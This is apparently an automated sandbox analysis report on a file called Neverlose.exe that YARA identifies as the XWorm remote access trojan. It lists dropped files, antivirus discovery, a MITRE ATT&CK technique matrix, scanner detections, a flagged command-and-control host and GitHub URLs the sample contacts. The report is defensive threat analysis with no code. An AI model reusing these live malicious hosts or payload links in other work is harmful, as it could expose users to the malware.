Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Solara.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Queries volume information: C:\Users\user\AppData\Roaming\sv_chost.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Queries volume information: C:\Users\user\AppData\Roaming\sv_chost.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Queries volume information: C:\Users\user\AppData\Roaming\sv_chost.exe VolumeInformation

Source: C:\Users\user\Desktop\Neverlose.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: Solara.exe, 00000004.00000002.2921766888.000000001C174000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000004.00000002.2921766888.000000001C0C0000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000004.00000002.2921766888.000000001C143000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Solara.exe, 00000004.00000002.2921766888.000000001C143000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\Solara.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 4.0.Solara.exe.da0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Neverlose.exe.3942eb0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Neverlose.exe.3939200.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.1722027125.0000000000DA2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1730503666.0000000003937000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Neverlose.exe PID: 5888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Solara.exe PID: 7184, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Solara.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\sv_chost.exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 4.0.Solara.exe.da0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Neverlose.exe.3942eb0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Neverlose.exe.3939200.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.1722027125.0000000000DA2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1730503666.0000000003937000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Neverlose.exe PID: 5888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Solara.exe PID: 7184, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Solara.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\sv_chost.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	1 Masquerading	OS Credential Dumping	321 Security Software Discovery	Remote Services	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	121 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	1 DLL Side-Loading	121 Registry Run Keys / Startup Folder	231 Virtualization/Sandbox Evasion	Security Account Manager	231 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Obfuscated Files or Information	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	42 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Neverlose.exe	41%	Virustotal		Browse
Neverlose.exe	74%	ReversingLabs	Win32.Backdoor.Xworm
Neverlose.exe	100%	Avira	HEUR/AGEN.1308820
Neverlose.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\Solara.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Roaming\sv_chost.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Local\Temp\Solara.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\sv_chost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Solara.exe	76%	ReversingLabs	ByteCode-MSIL.Backdoor.XWormRAT
C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	33%	ReversingLabs	Win32.PUA.Packunwan
C:\Users\user\AppData\Roaming\sv_chost.exe	76%	ReversingLabs	ByteCode-MSIL.Backdoor.XWormRAT

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
22.ip.gl.ply.gg	4%	Virustotal	Browse
github.com	0%	Virustotal	Browse
raw.githubusercontent.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
http://crl.mic	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://github.com/solutions/industries/financial-services	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_j	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Box_Box_js-55a9038b	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_braintree_browser-detection_dist_browser	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/github-mark-57519b92ca4e.png	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_clsx_dist_clsx_m_js-node_modules_primer_	0%	Avira URL Cloud	safe
https://github.com/solutions/industries/financial-services	1%	Virustotal		Browse
https://github.githubassets.com/assets/github-mark-57519b92ca4e.png	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_mo	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_j	0%	Virustotal		Browse
https://github.com/solutions/devsecops	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_mo	1%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-85	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt	0%	Avira URL Cloud	safe
https://github.com/readme	0%	Avira URL Cloud	safe
https://github.com/customer-stories	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_braintree_browser-detection_dist_browser	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-85	0%	Virustotal		Browse
https://github.githubassets.com/assets/element-registry-ee3b4c180fee.js	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt	1%	Virustotal		Browse
https://github.com/features	0%	Avira URL Cloud	safe
https://github.com/features/code-review	0%	Avira URL Cloud	safe
https://github.com/customer-stories	1%	Virustotal		Browse
https://github.com/readme	1%	Virustotal		Browse
https://github.com/features/issues	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Box_Box_js-55a9038b	0%	Virustotal		Browse
https://github.com/solutions/devsecops	1%	Virustotal		Browse
https://github.com/features/code-review	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_clsx_dist_clsx_m_js-node_modules_primer_	0%	Virustotal		Browse
https://user-images.githubusercontent.com/	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/element-registry-ee3b4c180fee.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-	0%	Avira URL Cloud	safe
https://github.com/features/issues	0%	Virustotal		Browse
https://github.githubassets.com/assets/github-logo-55c5b9a1fe52.png	0%	Avira URL Cloud	safe
https://skills.github.com	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_	0%	Avira URL Cloud	safe
https://user-images.githubusercontent.com/	0%	Virustotal		Browse
https://github.com/solutions/industries/manufacturing	0%	Avira URL Cloud	safe
https://github.com/quivings/Solara/raw/main/Files/Solara.Dir.zip"	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/github-logo-55c5b9a1fe52.png	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-	1%	Virustotal		Browse
https://github.githubassets.com/assets/dark_dimmed-aa16bfa90fb8.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_	0%	Avira URL Cloud	safe
https://api.github.com/_private/browser/stats	0%	Avira URL Cloud	safe
https://github.com/solutions/industries/manufacturing	1%	Virustotal		Browse
https://github.com/features	0%	Virustotal		Browse
https://skills.github.com	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_gith	0%	Avira URL Cloud	safe
https://api.github.com/_private/browser/stats	0%	Virustotal		Browse
https://github.com/solutions/devops	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_	1%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_gith	1%	Virustotal		Browse
https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_	0%	Virustotal		Browse
https://github.githubassets.com/assets/dark_dimmed-aa16bfa90fb8.css	0%	Virustotal		Browse
https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/primer-9f7b2e63c497.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/wp-runtime-9a56ebf061bf.js	0%	Avira URL Cloud	safe
https://github.com/solutions/devops	1%	Virustotal		Browse
https://github.com/te	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_e	0%	Avira URL Cloud	safe
https://github.com/quivings/Solara/raw/main/Files/Solara.Dir.zip"	1%	Virustotal		Browse
https://github.githubassets.com/assets/primer-9f7b2e63c497.css	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-89a69c248502.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/github-octocat-13c86b8b336d.png	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_e	0%	Virustotal		Browse
https://docs.github.com/get-started/accessibility/keyboard-shortcuts	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-89a69c248502.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/ui_packages_updatable-content_updatable-content_ts-a2009221d1	0%	Avira URL Cloud	safe
https://github.com/te	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_	0%	Virustotal		Browse
https://github.com/features/packages	0%	Avira URL Cloud	safe
https://docs.github.com/get-started/accessibility/keyboard-shortcuts	0%	Virustotal		Browse
https://github.githubassets.com/assets/wp-runtime-9a56ebf061bf.js	0%	Virustotal		Browse
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/github-octocat-13c86b8b336d.png	0%	Virustotal		Browse
https://github.com/features/packages	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/ui_packages_updatable-content_upd	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modu	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_j	0%	Avira URL Cloud	safe
https://resources.github.com/learn/pathways	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/ui_packages_updatable-content_updatable-content_ts-a2009221d1	0%	Virustotal		Browse
https://github.com/trending	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
22.ip.gl.ply.gg	147.185.221.22	true	true	4%, Virustotal, Browse	unknown
github.com	140.82.121.4	true	false	0%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.109.133	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
22.ip.gl.ply.gg	true	Avira URL Cloud: malware	unknown
https://github.com/quivings/Solara/raw/main/Files/Solara.Dir.zip	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Box_Box_js-55a9038b	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/solutions/industries/financial-services	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_j	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_braintree_browser-detection_dist_browser	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/github-mark-57519b92ca4e.png	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
